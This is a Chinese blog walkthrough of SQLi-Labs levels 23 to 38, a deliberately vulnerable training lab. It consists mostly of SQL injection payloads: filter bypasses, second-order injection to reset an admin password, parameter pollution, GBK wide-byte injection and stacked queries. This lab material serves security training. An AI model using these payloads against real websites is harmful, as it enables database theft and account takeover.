SQLi_Labs-3.Advanced Injections

admin 2023年3月12日14:51:45SQLi_Labs-3.Advanced Injections已关闭评论13 views字数 3498阅读11分39秒阅读模式

作者:儒道易行

3.Advanced Injections

Less-23

这里#、--+均被过滤了,但是我们可以利用or "1"="1来闭合后面的双引号也可以达到我们的目的

-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

SQLi_Labs-3.Advanced Injections

Less-24

这里是个二次注入,原本有一个管理员的账号密码是admin/admin,首先创建一个注入的恶意用户 admin'# 密码为123456

SQLi_Labs-3.Advanced Injections

此举目的是利用注释从而更改正常用户admin-admin 账户密码,修改我们恶意用户密码为123456,通过admin-123456登录

SQLi_Labs-3.Advanced Injections

发现登录成功。因为修改密码处形成的 sql 语句是

UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx

这样#就注释掉了后面的 sql 语句

Less-25

题目很直接,提示直接把 or、and过滤了,但是可以用&&、||绕过

admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23

SQLi_Labs-3.Advanced Injections

也可以双写绕

0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;%23

SQLi_Labs-3.Advanced Injections

Less-25a

-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

SQLi_Labs-3.Advanced Injections

Less-26

题目提示空格与注释被过滤了,可以使用%0a绕过,可以盲注也可以报错注入

0'||left(database(),1)='s'%26%26'1'='1

SQLi_Labs-3.Advanced Injections

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

SQLi_Labs-3.Advanced Injections

Less-26a

题目提示空格与注释被过滤了,可以使用%a0绕过,报错注入不出,可以用布尔盲注

0'||'1'='1 #探测为'

SQLi_Labs-3.Advanced Injections

0'||left(database(),1)='s'%26%26'1'='1

SQLi_Labs-3.Advanced Injections

白盒审计知道是')

0%27)%a0union%a0select%a01,database(),2||('1

0%27)%a0union%a0select%a01,database(),2;%00

Less-27

题目提示union与select被过滤了,可用大小写绕过

0'||'1'='1

0'||left(database(),1)='s'%26%26'1'='1

0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

SQLi_Labs-3.Advanced Injections

Less-27a

增加了"

0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

SQLi_Labs-3.Advanced Injections

Less-28

union select大小写均被过滤,但是select还可单独用,盲注即可

0')||left(database(),1)='s';%00

SQLi_Labs-3.Advanced Injections

Less-28a

依然可以用盲注

0')||left((database()),1)='s';%00

0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)\<'s';%00

SQLi_Labs-3.Advanced Injections

Less-29

利用tomcat与apache解析相同,请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2

?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

SQLi_Labs-3.Advanced Injections

Less-30

与 29 架构一样,原理一致只不过加了"限制

?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

SQLi_Labs-3.Advanced Injections

Less-31

架构一样,多了")

?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

SQLi_Labs-3.Advanced Injections

Less-32

注意是GBK,可以用%df进行宽字节注入

0%df%27%20or%201=1%23

0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

SQLi_Labs-3.Advanced Injections

Less-33

0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

SQLi_Labs-3.Advanced Injections

Less-34

uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit

SQLi_Labs-3.Advanced Injections

Less-35

0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

SQLi_Labs-3.Advanced Injections

Less-36

0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23 -1%EF%BF%BD%27union%20select%201,user(),3--+

SQLi_Labs-3.Advanced Injections

Less-37

uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

SQLi_Labs-3.Advanced Injections

Less-38

获得版本和数据库名

?id=0%FE' union select 1,version(),database() %23

获得表名

?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

SQLi_Labs-3.Advanced Injections

堆叠注入,成功创建test38数据表

1';create table test38 like users;%23

再次查询就会有新建的表名

SQLi_Labs-3.Advanced Injections

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

```
博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

```

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日14:51:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQLi_Labs-3.Advanced Injectionshttps://cn-sec.com/archives/1599584.html